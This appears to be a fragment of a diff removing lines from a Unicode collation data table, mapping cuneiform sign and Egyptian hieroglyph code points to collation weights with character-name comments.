-124B2 ; [.4BEA.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES ME
-124B3 ; [.4BEB.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES MES
-124B4 ; [.4BEC.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES SU
-124B5 ; [.4BED.0020.0002] # CUNEIFORM SIGN EZEN TIMES SU
-124B6 ; [.4BEE.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAHAR2
-124B7 ; [.4BEF.0020.0002] # CUNEIFORM SIGN GA2 TIMES DIM GUNU
-124B8 ; [.4BF0.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUG TIMES IGI GUNU
-124B9 ; [.4BF1.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUG TIMES KASKAL
-124BA ; [.4BF2.0020.0002] # CUNEIFORM SIGN GA2 TIMES EREN
-124BB ; [.4BF3.0020.0002] # CUNEIFORM SIGN GA2 TIMES GA
-124BC ; [.4BF4.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR PLUS DI
-124BD ; [.4BF5.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR PLUS NE
-124BE ; [.4BF6.0020.0002] # CUNEIFORM SIGN GA2 TIMES HA PLUS A
-124BF ; [.4BF7.0020.0002] # CUNEIFORM SIGN GA2 TIMES KUSHU2 PLUS KASKAL
-124C0 ; [.4BF8.0020.0002] # CUNEIFORM SIGN GA2 TIMES LAM
-124C1 ; [.4BF9.0020.0002] # CUNEIFORM SIGN GA2 TIMES LAM TIMES KUR
-124C2 ; [.4BFA.0020.0002] # CUNEIFORM SIGN GA2 TIMES LUH
-124C3 ; [.4BFB.0020.0002] # CUNEIFORM SIGN GA2 TIMES MUSH
-124C4 ; [.4BFC.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE
-124C5 ; [.4BFD.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE PLUS E2
-124C6 ; [.4BFE.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE PLUS GI
-124C7 ; [.4BFF.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHIM
-124C8 ; [.4C00.0020.0002] # CUNEIFORM SIGN GA2 TIMES ZIZ2
-124C9 ; [.4C01.0020.0002] # CUNEIFORM SIGN GABA ROTATED NINETY DEGREES
-124CA ; [.4C02.0020.0002] # CUNEIFORM SIGN GESHTIN TIMES U
-124CB ; [.4C03.0020.0002] # CUNEIFORM SIGN GISH TIMES GISH CROSSING GISH
-124CC ; [.4C04.0020.0002] # CUNEIFORM SIGN GU2 TIMES IGI GUNU
-124CD ; [.4C05.0020.0002] # CUNEIFORM SIGN GUD PLUS GISH TIMES TAK4
-124CE ; [.4C06.0020.0002] # CUNEIFORM SIGN HA TENU GUNU
-124CF ; [.4C07.0020.0002] # CUNEIFORM SIGN HI TIMES ASH OVER HI TIMES ASH
-124D0 ; [.4C08.0020.0002] # CUNEIFORM SIGN KA TIMES BU
-124D1 ; [.4C09.0020.0002] # CUNEIFORM SIGN KA TIMES KA
-124D2 ; [.4C0A.0020.0002] # CUNEIFORM SIGN KA TIMES U U U
-124D3 ; [.4C0B.0020.0002] # CUNEIFORM SIGN KA TIMES UR
-124D4 ; [.4C0C.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ZU OVER ZU
-124D5 ; [.4C0D.0020.0002] # CUNEIFORM SIGN LAK-003
-124D6 ; [.4C0E.0020.0002] # CUNEIFORM SIGN LAK-021
-124D7 ; [.4C0F.0020.0002] # CUNEIFORM SIGN LAK-025
-124D8 ; [.4C10.0020.0002] # CUNEIFORM SIGN LAK-030
-124D9 ; [.4C11.0020.0002] # CUNEIFORM SIGN LAK-050
-124DA ; [.4C12.0020.0002] # CUNEIFORM SIGN LAK-051
-124DB ; [.4C13.0020.0002] # CUNEIFORM SIGN LAK-062
-124DC ; [.4C14.0020.0002] # CUNEIFORM SIGN LAK-079 OVER LAK-079 GUNU
-124DD ; [.4C15.0020.0002] # CUNEIFORM SIGN LAK-080
-124DE ; [.4C16.0020.0002] # CUNEIFORM SIGN LAK-081 OVER LAK-081
-124DF ; [.4C17.0020.0002] # CUNEIFORM SIGN LAK-092
-124E0 ; [.4C18.0020.0002] # CUNEIFORM SIGN LAK-130
-124E1 ; [.4C19.0020.0002] # CUNEIFORM SIGN LAK-142
-124E2 ; [.4C1A.0020.0002] # CUNEIFORM SIGN LAK-210
-124E3 ; [.4C1B.0020.0002] # CUNEIFORM SIGN LAK-219
-124E4 ; [.4C1C.0020.0002] # CUNEIFORM SIGN LAK-220
-124E5 ; [.4C1D.0020.0002] # CUNEIFORM SIGN LAK-225
-124E6 ; [.4C1E.0020.0002] # CUNEIFORM SIGN LAK-228
-124E7 ; [.4C1F.0020.0002] # CUNEIFORM SIGN LAK-238
-124E8 ; [.4C20.0020.0002] # CUNEIFORM SIGN LAK-265
-124E9 ; [.4C21.0020.0002] # CUNEIFORM SIGN LAK-266
-124EA ; [.4C22.0020.0002] # CUNEIFORM SIGN LAK-343
-124EB ; [.4C23.0020.0002] # CUNEIFORM SIGN LAK-347
-124EC ; [.4C24.0020.0002] # CUNEIFORM SIGN LAK-348
-124ED ; [.4C25.0020.0002] # CUNEIFORM SIGN LAK-383
-124EE ; [.4C26.0020.0002] # CUNEIFORM SIGN LAK-384
-124EF ; [.4C27.0020.0002] # CUNEIFORM SIGN LAK-390
-124F0 ; [.4C28.0020.0002] # CUNEIFORM SIGN LAK-441
-124F1 ; [.4C29.0020.0002] # CUNEIFORM SIGN LAK-449
-124F2 ; [.4C2A.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES GU
-124F3 ; [.4C2B.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES IGI
-124F4 ; [.4C2C.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES PAP PLUS LU3
-124F5 ; [.4C2D.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES PAP PLUS PAP PLUS LU3
-124F6 ; [.4C2E.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES U2 PLUS BA
-124F7 ; [.4C2F.0020.0002] # CUNEIFORM SIGN LAK-450
-124F8 ; [.4C30.0020.0002] # CUNEIFORM SIGN LAK-457
-124F9 ; [.4C31.0020.0002] # CUNEIFORM SIGN LAK-470
-124FA ; [.4C32.0020.0002] # CUNEIFORM SIGN LAK-483
-124FB ; [.4C33.0020.0002] # CUNEIFORM SIGN LAK-490
-124FC ; [.4C34.0020.0002] # CUNEIFORM SIGN LAK-492
-124FD ; [.4C35.0020.0002] # CUNEIFORM SIGN LAK-493
-124FE ; [.4C36.0020.0002] # CUNEIFORM SIGN LAK-495
-124FF ; [.4C37.0020.0002] # CUNEIFORM SIGN LAK-550
-12500 ; [.4C38.0020.0002] # CUNEIFORM SIGN LAK-608
-12501 ; [.4C39.0020.0002] # CUNEIFORM SIGN LAK-617
-12502 ; [.4C3A.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES ASH
-12503 ; [.4C3B.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES BAD
-12504 ; [.4C3C.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES DUN3 GUNU GUNU
-12505 ; [.4C3D.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES KU3
-12506 ; [.4C3E.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES LA
-12507 ; [.4C3F.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES TAR
-12508 ; [.4C40.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES TE
-12509 ; [.4C41.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES U2
-1250A ; [.4C42.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES UD
-1250B ; [.4C43.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES URUDA
-1250C ; [.4C44.0020.0002] # CUNEIFORM SIGN LAK-636
-1250D ; [.4C45.0020.0002] # CUNEIFORM SIGN LAK-648
-1250E ; [.4C46.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES DUB
-1250F ; [.4C47.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES GA
-12510 ; [.4C48.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES IGI
-12511 ; [.4C49.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES IGI GUNU
-12512 ; [.4C4A.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES NI
-12513 ; [.4C4B.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES PAP PLUS PAP PLUS LU3
-12514 ; [.4C4C.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES SHESH PLUS KI
-12515 ; [.4C4D.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES UD
-12516 ; [.4C4E.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES URUDA
-12517 ; [.4C4F.0020.0002] # CUNEIFORM SIGN LAK-724
-12518 ; [.4C50.0020.0002] # CUNEIFORM SIGN LAK-749
-12519 ; [.4C51.0020.0002] # CUNEIFORM SIGN LU2 GUNU TIMES ASH
-1251A ; [.4C52.0020.0002] # CUNEIFORM SIGN LU2 TIMES DISH
-1251B ; [.4C53.0020.0002] # CUNEIFORM SIGN LU2 TIMES HAL
-1251C ; [.4C54.0020.0002] # CUNEIFORM SIGN LU2 TIMES PAP
-1251D ; [.4C55.0020.0002] # CUNEIFORM SIGN LU2 TIMES PAP PLUS PAP PLUS LU3
-1251E ; [.4C56.0020.0002] # CUNEIFORM SIGN LU2 TIMES TAK4
-1251F ; [.4C57.0020.0002] # CUNEIFORM SIGN MI PLUS ZA7
-12520 ; [.4C58.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES GA
-12521 ; [.4C59.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES KAK
-12522 ; [.4C5A.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES DIM GUNU
-12523 ; [.4C5B.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GISH
-12524 ; [.4C5C.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GUL
-12525 ; [.4C5D.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES HI
-12526 ; [.4C5E.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES KESH2
-12527 ; [.4C5F.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES LAK-050
-12528 ; [.4C60.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES MASH
-12529 ; [.4C61.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES PAP PLUS PAP
-1252A ; [.4C62.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U
-1252B ; [.4C63.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U PLUS U
-1252C ; [.4C64.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES URUDA
-1252D ; [.4C65.0020.0002] # CUNEIFORM SIGN SAG GUNU TIMES HA
-1252E ; [.4C66.0020.0002] # CUNEIFORM SIGN SAG TIMES EN
-1252F ; [.4C67.0020.0002] # CUNEIFORM SIGN SAG TIMES SHE AT LEFT
-12530 ; [.4C68.0020.0002] # CUNEIFORM SIGN SAG TIMES TAK4
-12531 ; [.4C69.0020.0002] # CUNEIFORM SIGN SHA6 TENU
-12532 ; [.4C6A.0020.0002] # CUNEIFORM SIGN SHE OVER SHE
-12533 ; [.4C6B.0020.0002] # CUNEIFORM SIGN SHE PLUS HUB2
-12534 ; [.4C6C.0020.0002] # CUNEIFORM SIGN SHE PLUS NAM2
-12535 ; [.4C6D.0020.0002] # CUNEIFORM SIGN SHE PLUS SAR
-12536 ; [.4C6E.0020.0002] # CUNEIFORM SIGN SHU2 PLUS DUG TIMES NI
-12537 ; [.4C6F.0020.0002] # CUNEIFORM SIGN SHU2 PLUS E2 TIMES AN
-12538 ; [.4C70.0020.0002] # CUNEIFORM SIGN SI TIMES TAK4
-12539 ; [.4C71.0020.0002] # CUNEIFORM SIGN TAK4 PLUS SAG
-1253A ; [.4C72.0020.0002] # CUNEIFORM SIGN TUM TIMES GAN2 TENU
-1253B ; [.4C73.0020.0002] # CUNEIFORM SIGN TUM TIMES THREE DISH
-1253C ; [.4C74.0020.0002] # CUNEIFORM SIGN UR2 INVERTED
-1253D ; [.4C75.0020.0002] # CUNEIFORM SIGN UR2 TIMES UD
-1253E ; [.4C76.0020.0002] # CUNEIFORM SIGN URU TIMES DARA3
-1253F ; [.4C77.0020.0002] # CUNEIFORM SIGN URU TIMES LAK-668
-12540 ; [.4C78.0020.0002] # CUNEIFORM SIGN URU TIMES LU3
-12541 ; [.4C79.0020.0002] # CUNEIFORM SIGN ZA7
-12542 ; [.4C7A.0020.0002] # CUNEIFORM SIGN ZU OVER ZU PLUS SAR
-12543 ; [.4C7B.0020.0002] # CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
-13000 ; [.4C7C.0020.0002] # EGYPTIAN HIEROGLYPH A001
-13001 ; [.4C7D.0020.0002] # EGYPTIAN HIEROGLYPH A002
-13002 ; [.4C7E.0020.0002] # EGYPTIAN HIEROGLYPH A003
-13003 ; [.4C7F.0020.0002] # EGYPTIAN HIEROGLYPH A004
-13004 ; [.4C80.0020.0002] # EGYPTIAN HIEROGLYPH A005
-13005 ; [.4C81.0020.0002] # EGYPTIAN HIEROGLYPH A005A
-13006 ; [.4C82.0020.0002] # EGYPTIAN HIEROGLYPH A006
-13007 ; [.4C83.0020.0002] # EGYPTIAN HIEROGLYPH A006A
-13008 ; [.4C84.0020.0002] # EGYPTIAN HIEROGLYPH A006B
-13009 ; [.4C85.0020.0002] # EGYPTIAN HIEROGLYPH A007
-1300A ; [.4C86.0020.0002] # EGYPTIAN HIEROGLYPH A008
-1300B ; [.4C87.0020.0002] # EGYPTIAN HIEROGLYPH A009
-1300C ; [.4C88.0020.0002] # EGYPTIAN HIEROGLYPH A010
-1300D ; [.4C89.0020.0002] # EGYPTIAN HIEROGLYPH A011
-1300E ; [.4C8A.0020.0002] # EGYPTIAN HIEROGLYPH A012
-1300F ; [.4C8B.0020.0002] # EGYPTIAN HIEROGLYPH A013
-13010 ; [.4C8C.0020.0002] # EGYPTIAN HIEROGLYPH A014
-13011 ; [.4C8D.0020.0002] # EGYPTIAN HIEROGLYPH A014A
-13012 ; [.4C8E.0020.0002] # EGYPTIAN HIEROGLYPH A015
-13013 ; [.4C8F.0020.0002] # EGYPTIAN HIEROGLYPH A016
-13014 ; [.4C90.0020.0002] # EGYPTIAN HIEROGLYPH A017
-13015 ; [.4C91.0020.0002] # EGYPTIAN HIEROGLYPH A017A
-13016 ; [.4C92.0020.0002] # EGYPTIAN HIEROGLYPH A018
-13017 ; [.4C93.0020.0002] # EGYPTIAN HIEROGLYPH A019
-13018 ; [.4C94.0020.0002] # EGYPTIAN HIEROGLYPH A020
-13019 ; [.4C95.0020.0002] # EGYPTIAN HIEROGLYPH A021
-1301A ; [.4C96.0020.0002] # EGYPTIAN HIEROGLYPH A022
-1301B ; [.4C97.0020.0002] # EGYPTIAN HIEROGLYPH A023
-1301C ; [.4C98.0020.0002] # EGYPTIAN HIEROGLYPH A024
-1301D ; [.4C99.0020.0002] # EGYPTIAN HIEROGLYPH A025
-1301E ; [.4C9A.0020.0002] # EGYPTIAN HIEROGLYPH A026
-1301F ; [.4C9B.0020.0002] # EGYPTIAN HIEROGLYPH A027
-13020 ; [.4C9C.0020.0002] # EGYPTIAN HIEROGLYPH A028
-13021 ; [.4C9D.0020.0002] # EGYPTIAN HIEROGLYPH A029
-13022 ; [.4C9E.0020.0002] # EGYPTIAN HIEROGLYPH A030
-13023 ; [.4C9F.0020.0002] # EGYPTIAN HIEROGLYPH A031
-13024 ; [.4CA0.0020.0002] # EGYPTIAN HIEROGLYPH A032
-13025 ; [.4CA1.0020.0002] # EGYPTIAN HIEROGLYPH A032A
-13026 ; [.4CA2.0020.0002] # EGYPTIAN HIEROGLYPH A033
-13027 ; [.4CA3.0020.0002] # EGYPTIAN HIEROGLYPH A034
-13028 ; [.4CA4.0020.0002] # EGYPTIAN HIEROGLYPH A035
-13029 ; [.4CA5.0020.0002] # EGYPTIAN HIEROGLYPH A036
-1302A ; [.4CA6.0020.0002] # EGYPTIAN HIEROGLYPH A037
-1302B ; [.4CA7.0020.0002] # EGYPTIAN HIEROGLYPH A038
-1302C ; [.4CA8.0020.0002] # EGYPTIAN HIEROGLYPH A039
-1302D ; [.4CA9.0020.0002] # EGYPTIAN HIEROGLYPH A040
-1302E ; [.4CAA.0020.0002] # EGYPTIAN HIEROGLYPH A040A
-1302F ; [.4CAB.0020.0002] # EGYPTIAN HIEROGLYPH A041
-13030 ; [.4CAC.0020.0002] # EGYPTIAN HIEROGLYPH A042
-13031 ; [.4CAD.0020.0002] # EGYPTIAN HIEROGLYPH A042A
-13032 ; [.4CAE.0020.0002] # EGYPTIAN HIEROGLYPH A043
-13033 ; [.4CAF.0020.0002] # EGYPTIAN HIEROGLYPH A043A
-13034 ; [.4CB0.0020.0002] # EGYPTIAN HIEROGLYPH A044
-13035 ; [.4CB1.0020.0002] # EGYPTIAN HIEROGLYPH A045
-13036 ; [.4CB2.0020.0002] # EGYPTIAN HIEROGLYPH A045A
-13037 ; [.4CB3.0020.0002] # EGYPTIAN HIEROGLYPH A046
-13038 ; [.4CB4.0020.0002] # EGYPTIAN HIEROGLYPH A047
-13039 ; [.4CB5.0020.0002] # EGYPTIAN HIEROGLYPH A048
-1303A ; [.4CB6.0020.0002] # EGYPTIAN HIEROGLYPH A049
-1303B ; [.4CB7.0020.0002] # EGYPTIAN HIEROGLYPH A050
-1303C ; [.4CB8.0020.0002] # EGYPTIAN HIEROGLYPH A051
-1303D ; [.4CB9.0020.0002] # EGYPTIAN HIEROGLYPH A052
-1303E ; [.4CBA.0020.0002] # EGYPTIAN HIEROGLYPH A053
-1303F ; [.4CBB.0020.0002] # EGYPTIAN HIEROGLYPH A054
-13040 ; [.4CBC.0020.0002] # EGYPTIAN HIEROGLYPH A055
-13041 ; [.4CBD.0020.0002] # EGYPTIAN HIEROGLYPH A056
-13042 ; [.4CBE.0020.0002] # EGYPTIAN HIEROGLYPH A057
-13043 ; [.4CBF.0020.0002] # EGYPTIAN HIEROGLYPH A058
-13044 ; [.4CC0.0020.0002] # EGYPTIAN HIEROGLYPH A059
-13045 ; [.4CC1.0020.0002] # EGYPTIAN HIEROGLYPH A060
-13046 ; [.4CC2.0020.0002] # EGYPTIAN HIEROGLYPH A061
-13047 ; [.4CC3.0020.0002] # EGYPTIAN HIEROGLYPH A062
-13048 ; [.4CC4.0020.0002] # EGYPTIAN HIEROGLYPH A063
-13049 ; [.4CC5.0020.0002] # EGYPTIAN HIEROGLYPH A064
-1304A ; [.4CC6.0020.0002] # EGYPTIAN HIEROGLYPH A065
-1304B ; [.4CC7.0020.0002] # EGYPTIAN HIEROGLYPH A066
-1304C ; [.4CC8.0020.0002] # EGYPTIAN HIEROGLYPH A067
-1304D ; [.4CC9.0020.0002] # EGYPTIAN HIEROGLYPH A068
-1304E ; [.4CCA.0020.0002] # EGYPTIAN HIEROGLYPH A069
-1304F ; [.4CCB.0020.0002] # EGYPTIAN HIEROGLYPH A070
-13050 ; [.4CCC.0020.0002] # EGYPTIAN HIEROGLYPH B001
-13051 ; [.4CCD.0020.0002] # EGYPTIAN HIEROGLYPH B002
-13052 ; [.4CCE.0020.0002] # EGYPTIAN HIEROGLYPH B003
-13053 ; [.4CCF.0020.0002] # EGYPTIAN HIEROGLYPH B004
-13054 ; [.4CD0.0020.0002] # EGYPTIAN HIEROGLYPH B005
-13055 ; [.4CD1.0020.0002] # EGYPTIAN HIEROGLYPH B005A
-13056 ; [.4CD2.0020.0002] # EGYPTIAN HIEROGLYPH B006
-13057 ; [.4CD3.0020.0002] # EGYPTIAN HIEROGLYPH B007
-13058 ; [.4CD4.0020.0002] # EGYPTIAN HIEROGLYPH B008
-13059 ; [.4CD5.0020.0002] # EGYPTIAN HIEROGLYPH B009
-1305A ; [.4CD6.0020.0002] # EGYPTIAN HIEROGLYPH C001
-1305B ; [.4CD7.0020.0002] # EGYPTIAN HIEROGLYPH C002
-1305C ; [.4CD8.0020.0002] # EGYPTIAN HIEROGLYPH C002A
-1305D ; [.4CD9.0020.0002] # EGYPTIAN HIEROGLYPH C002B
-1305E ; [.4CDA.0020.0002] # EGYPTIAN HIEROGLYPH C002C
-1305F ; [.4CDB.0020.0002] # EGYPTIAN HIEROGLYPH C003
-13060 ; [.4CDC.0020.0002] # EGYPTIAN HIEROGLYPH C004
-13061 ; [.4CDD.0020.0002] # EGYPTIAN HIEROGLYPH C005
-13062 ; [.4CDE.0020.0002] # EGYPTIAN HIEROGLYPH C006
-13063 ; [.4CDF.0020.0002] # EGYPTIAN HIEROGLYPH C007
-13064 ; [.4CE0.0020.0002] # EGYPTIAN HIEROGLYPH C008
-13065 ; [.4CE1.0020.0002] # EGYPTIAN HIEROGLYPH C009
-13066 ; [.4CE2.0020.0002] # EGYPTIAN HIEROGLYPH C010
-13067 ; [.4CE3.0020.0002] # EGYPTIAN HIEROGLYPH C010A
-13068 ; [.4CE4.0020.0002] # EGYPTIAN HIEROGLYPH C011
-13069 ; [.4CE5.0020.0002] # EGYPTIAN HIEROGLYPH C012
-1306A ; [.4CE6.0020.0002] # EGYPTIAN HIEROGLYPH C013
-1306B ; [.4CE7.0020.0002] # EGYPTIAN HIEROGLYPH C014
-1306C ; [.4CE8.0020.0002] # EGYPTIAN HIEROGLYPH C015
-1306D ; [.4CE9.0020.0002] # EGYPTIAN HIEROGLYPH C016
-1306E ; [.4CEA.0020.0002] # EGYPTIAN HIEROGLYPH C017
-1306F ; [.4CEB.0020.0002] # EGYPTIAN HIEROGLYPH C018
-13070 ; [.4CEC.0020.0002] # EGYPTIAN HIEROGLYPH C019
-13071 ; [.4CED.0020.0002] # EGYPTIAN HIEROGLYPH C020
-13072 ; [.4CEE.0020.0002] # EGYPTIAN HIEROGLYPH C021
-13073 ; [.4CEF.0020.0002] # EGYPTIAN HIEROGLYPH C022
-13074 ; [.4CF0.0020.0002] # EGYPTIAN HIEROGLYPH C023
-13075 ; [.4CF1.0020.0002] # EGYPTIAN HIEROGLYPH C024
-13076 ; [.4CF2.0020.0002] # EGYPTIAN HIEROGLYPH D001
-13077 ; [.4CF3.0020.0002] # EGYPTIAN HIEROGLYPH D002
-13078 ; [.4CF4.0020.0002] # EGYPTIAN HIEROGLYPH D003
-13079 ; [.4CF5.0020.0002] # EGYPTIAN HIEROGLYPH D004
-1307A ; [.4CF6.0020.0002] # EGYPTIAN HIEROGLYPH D005
-1307B ; [.4CF7.0020.0002] # EGYPTIAN HIEROGLYPH D006
-1307C ; [.4CF8.0020.0002] # EGYPTIAN HIEROGLYPH D007
-1307D ; [.4CF9.0020.0002] # EGYPTIAN HIEROGLYPH D008
-1307E ; [.4CFA.0020.0002] # EGYPTIAN HIEROGLYPH D008A
-1307F ; [.4CFB.0020.0002] # EGYPTIAN HIEROGLYPH D009
-13080 ; [.4CFC.0020.0002] # EGYPTIAN HIEROGLYPH D010
-13081 ; [.4CFD.0020.0002] # EGYPTIAN HIEROGLYPH D011
-13082 ; [.4CFE.0020.0002] # EGYPTIAN HIEROGLYPH D012
-13083 ; [.4CFF.0020.0002] # EGYPTIAN HIEROGLYPH D013
-13084 ; [.4D00.0020.0002] # EGYPTIAN HIEROGLYPH D014
-13085 ; [.4D01.0020.0002] # EGYPTIAN HIEROGLYPH D015
-13086 ; [.4D02.0020.0002] # EGYPTIAN HIEROGLYPH D016
-13087 ; [.4D03.0020.0002] # EGYPTIAN HIEROGLYPH D017
-13088 ; [.4D04.0020.0002] # EGYPTIAN HIEROGLYPH D018
-13089 ; [.4D05.0020.0002] # EGYPTIAN HIEROGLYPH D019
-1308A ; [.4D06.0020.0002] # EGYPTIAN HIEROGLYPH D020
-1308B ; [.4D07.0020.0002] # EGYPTIAN HIEROGLYPH D021
-1308C ; [.4D08.0020.0002] # EGYPTIAN HIEROGLYPH D022
-1308D ; [.4D09.0020.0002] # EGYPTIAN HIEROGLYPH D023
-1308E ; [.4D0A.0020.0002] # EGYPTIAN HIEROGLYPH D024
-1308F ; [.4D0B.0020.0002] # EGYPTIAN HIEROGLYPH D025
-13090 ; [.4D0C.0020.0002] # EGYPTIAN HIEROGLYPH D026
-13091 ; [.4D0D.0020.0002] # EGYPTIAN HIEROGLYPH D027
-13092 ; [.4D0E.0020.0002] # EGYPTIAN HIEROGLYPH D027A
-13093 ; [.4D0F.0020.0002] # EGYPTIAN HIEROGLYPH D028
-13094 ; [.4D10.0020.0002] # EGYPTIAN HIEROGLYPH D029
-13095 ; [.4D11.0020.0002] # EGYPTIAN HIEROGLYPH D030
-13096 ; [.4D12.0020.0002] # EGYPTIAN HIEROGLYPH D031
-13097 ; [.4D13.0020.0002] # EGYPTIAN HIEROGLYPH D031A
-13098 ; [.4D14.0020.0002] # EGYPTIAN HIEROGLYPH D032
-13099 ; [.4D15.0020.0002] # EGYPTIAN HIEROGLYPH D033
-1309A ; [.4D16.0020.0002] # EGYPTIAN HIEROGLYPH D034
-1309B ; [.4D17.0020.0002] # EGYPTIAN HIEROGLYPH D034A
-1309C ; [.4D18.0020.0002] # EGYPTIAN HIEROGLYPH D035
-1309D ; [.4D19.0020.0002] # EGYPTIAN HIEROGLYPH D036
-1309E ; [.4D1A.0020.0002] # EGYPTIAN HIEROGLYPH D037
-1309F ; [.4D1B.0020.0002] # EGYPTIAN HIEROGLYPH D038
-130A0 ; [.4D1C.0020.0002] # EGYPTIAN HIEROGLYPH D039
-130A1 ; [.4D1D.0020.0002] # EGYPTIAN HIEROGLYPH D040
-130A2 ; [.4D1E.0020.0002] # EGYPTIAN HIEROGLYPH D041
-130A3 ; [.4D1F.0020.0002] # EGYPTIAN HIEROGLYPH D042
-130A4 ; [.4D20.0020.0002] # EGYPTIAN HIEROGLYPH D043
-130A5 ; [.4D21.0020.0002] # EGYPTIAN HIEROGLYPH D044
-130A6 ; [.4D22.0020.0002] # EGYPTIAN HIEROGLYPH D045
-130A7 ; [.4D23.0020.0002] # EGYPTIAN HIEROGLYPH D046
-130A8 ; [.4D24.0020.0002] # EGYPTIAN HIEROGLYPH D046A
-130A9 ; [.4D25.0020.0002] # EGYPTIAN HIEROGLYPH D047
-130AA ; [.4D26.0020.0002] # EGYPTIAN HIEROGLYPH D048
-130AB ; [.4D27.0020.0002] # EGYPTIAN HIEROGLYPH D048A
-130AC ; [.4D28.0020.0002] # EGYPTIAN HIEROGLYPH D049
-130AD ; [.4D29.0020.0002] # EGYPTIAN HIEROGLYPH D050
-130AE ; [.4D2A.0020.0002] # EGYPTIAN HIEROGLYPH D050A
-130AF ; [.4D2B.0020.0002] # EGYPTIAN HIEROGLYPH D050B
-130B0 ; [.4D2C.0020.0002] # EGYPTIAN HIEROGLYPH D050C
-130B1 ; [.4D2D.0020.0002] # EGYPTIAN HIEROGLYPH D050D
-130B2 ; [.4D2E.0020.0002] # EGYPTIAN HIEROGLYPH D050E
-130B3 ; [.4D2F.0020.0002] # EGYPTIAN HIEROGLYPH D050F
-130B4 ; [.4D30.0020.0002] # EGYPTIAN HIEROGLYPH D050G
-130B5 ; [.4D31.0020.0002] # EGYPTIAN HIEROGLYPH D050H
-130B6 ; [.4D32.0020.0002] # EGYPTIAN HIEROGLYPH D050I
-130B7 ; [.4D33.0020.0002] # EGYPTIAN HIEROGLYPH D051
-130B8 ; [.4D34.0020.0002] # EGYPTIAN HIEROGLYPH D052
-130B9 ; [.4D35.0020.0002] # EGYPTIAN HIEROGLYPH D052A
-130BA ; [.4D36.0020.0002] # EGYPTIAN HIEROGLYPH D053
-130BB ; [.4D37.0020.0002] # EGYPTIAN HIEROGLYPH D054
-130BC ; [.4D38.0020.0002] # EGYPTIAN HIEROGLYPH D054A
-130BD ; [.4D39.0020.0002] # EGYPTIAN HIEROGLYPH D055
-130BE ; [.4D3A.0020.0002] # EGYPTIAN HIEROGLYPH D056
-130BF ; [.4D3B.0020.0002] # EGYPTIAN HIEROGLYPH D057
-130C0 ; [.4D3C.0020.0002] # EGYPTIAN HIEROGLYPH D058
-130C1 ; [.4D3D.0020.0002] # EGYPTIAN HIEROGLYPH D059
-130C2 ; [.4D3E.0020.0002] # EGYPTIAN HIEROGLYPH D060
-130C3 ; [.4D3F.0020.0002] # EGYPTIAN HIEROGLYPH D061
-130C4 ; [.4D40.0020.0002] # EGYPTIAN HIEROGLYPH D062
-130C5 ; [.4D41.0020.0002] # EGYPTIAN HIEROGLYPH D063
-130C6 ; [.4D42.0020.0002] # EGYPTIAN HIEROGLYPH D064
-130C7 ; [.4D43.0020.0002] # EGYPTIAN HIEROGLYPH D065
-130C8 ; [.4D44.0020.0002] # EGYPTIAN HIEROGLYPH D066
-130C9 ; [.4D45.0020.0002] # EGYPTIAN HIEROGLYPH D067
-130CA ; [.4D46.0020.0002] # EGYPTIAN HIEROGLYPH D067A
-130CB ; [.4D47.0020.0002] # EGYPTIAN HIEROGLYPH D067B
-130CC ; [.4D48.0020.0002] # EGYPTIAN HIEROGLYPH D067C
-130CD ; [.4D49.0020.0002] # EGYPTIAN HIEROGLYPH D067D
-130CE ; [.4D4A.0020.0002] # EGYPTIAN HIEROGLYPH D067E
-130CF ; [.4D4B.0020.0002] # EGYPTIAN HIEROGLYPH D067F
-130D0 ; [.4D4C.0020.0002] # EGYPTIAN HIEROGLYPH D067G
-130D1 ; [.4D4D.0020.0002] # EGYPTIAN HIEROGLYPH D067H
-130D2 ; [.4D4E.0020.0002] # EGYPTIAN HIEROGLYPH E001
-130D3 ; [.4D4F.0020.0002] # EGYPTIAN HIEROGLYPH E002
-130D4 ; [.4D50.0020.0002] # EGYPTIAN HIEROGLYPH E003
